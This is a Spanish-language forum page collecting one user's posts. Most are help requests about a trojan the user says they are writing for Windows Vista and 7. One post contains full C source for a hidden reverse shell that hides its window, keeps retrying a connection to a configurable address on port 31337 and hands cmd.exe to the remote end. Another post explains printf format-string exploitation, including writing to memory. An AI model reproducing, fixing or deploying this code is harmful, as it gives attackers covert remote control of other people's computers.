Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Garfield07

#1091
No se hacen tareas, pon codigo, o algo...
#1092
No, no funciona tampoco xD... Y mas que ser de seguridad Windows, creo que es la forma en la que se hace... no es correcta.
llevo 3 dias enteros con el problemita xD... podrian ayudarme?

Alguna otra respuestas?
Muchas gracias!



Pd: Feliz navidad!

Lh: No hagas doble post. Utiliza el botón modificar.


Bueno, alguien me puede decir al menos si le funciona en 7? Y en Vista? Y en XP SP3?
Necesito ayuda!!!

El code final es este... He probado a abrirlo como admin, y nada....
Alguna idea?

Bueno, que code usan ustedes en Vista / 7?

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

struct sockaddr_in host;
SOCKET sockfd;


int main (int argc, char *argv [])
{
ShowWindow (GetForegroundWindow (), SW_HIDE);
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
host.sin_port = htons (31337); //Igualmente!
host.sin_family = AF_INET;
memset (host.sin_zero, 0, 8);

       if ((sockfd = socket (2, 1, 0)) == -1) return 1;
       while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr))) Sleep (1);
PROCESS_INFORMATION info_proc;
STARTUPINFO start_proc;
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)sockfd;
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);

       closesocket (sockfd);
       return 0;
}
#1093
Si, se sigue usando, y mucho. Se usa para hacer exploits, para buscar vulnerabilidades...
#1094
Bueno, la cosa es que estoy haciendo un troyano en Windows Vista y 7 en C. He estado probando varias formas, pero no me da resultado. La pregunta es...

¿Por qué los troyanos en Windows XP funcionan y en Vista / 7 no?
Supongo que sera por algun cambio en el sistema operativo, pero deberian funcionar, ¿no?
¿Qué cambia para que no funcionen?
#1095
1) Aunque sea code pequeño, GeShi. A pesar de ser pequeñisimo.
2) Supongo que sera C++. Ponlo en el titulo [C++] [?]
3) QProcess ejecutar; ¿Que libreria estas usando? No conozco nada parecido en C o C++.  Es una estructura de funciones?
4) if (parametros[0] == "execute") Estas diciendo que si el programa se llama "execute" abriras "programa".
Creo que seria correcto:
if (parametros[1] == "execute")
    {
        QProcess ejecutar;
        ejecutar.start(parametros[2]);
    }


argv
  • --> Nombre del programa. Siempre disponible (ej: ./code).
    argv [1] --> Primer argumento. No esta siempre disponible. Solo cuando lo escribe el usuario (ej: ./code execute)
    argv [2] --> Segundo argumento. No esta siempre disponible. Solo cuando lo escribe el usuario (ej: ./code execute  "/bin/bash").


    Espero haberte ayudado!
#1096
Muchas gracias por responder, pero no me funciona.. Alguien tiene otra idea?

PD: De todos modos muchas gracias!
#1097
Sep, CreateProcess da 1, pero no ejecuta nada...
Sin embargo, es verdad, execve no va en Windows.

Que alternativa puedo usar a execve?
Que pasa con CreateProcess? Por que no ejecuta nada?


Muchisimas gracias por sus respuestas...
#1098
0 y 0, respectivamente  :huh:
Por que no corren!!!
#1099
Bueno, fallo mio y disculpas a todos...
De acuerdo, falla aqui:
[code=c]
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);

[/code]


Los fallos son que no se ejecutan correctamente. Todo lo demas, paso a paso, ha sido repasado, buggeado y probado por mi. Todas las demas instrucciones anteriores a esta son correctas. Todos los descriptores se cierran, todo se declara y define... todo.
Sigo probando, pero creo que esta mal algo en el procedimiento anterior a las funciones que fallan. Sencillamente en Vista el procedimiento no es correcto, aqui nos tenemos que inventar algo nuevo... La cosa es que cambia respecto a XP, pues en XP funciona 100%. A lo mejor ahora hay algo que cerrar, algo que declarar...

Muchisimas gracias, sigan posteando!
PD: Modifico con alguna cosilla.. Code abajo.
#1100
Para el que no lo entienda, es que a printf se le pasa una cadena sin más:
printf ("Hola mundo!");
Pues que pasa si le pasas...
printf ("Hola mundo %d%d%d!");
Pues que leera los tres ultimos datos de la pila... es cosa de ensamblador. La cosa es que al llamar a una funcion se escriben diversos datos en la pila, y en la funcion printf recupera de la pila los datos recibidos antes de la funcion cuando sale una caracter de control... A resumir, podrias leer cualquier dato de la pila.
Pero... se podria escribir? Resulta que un caracter especial escribe el numero de bytes leidos... Asi que controlando los datos... ya se sabe.

Mas en el libro "Hacking. Técnicas fundamentales". Fantastico libro sobre C, ensamblador y hacking!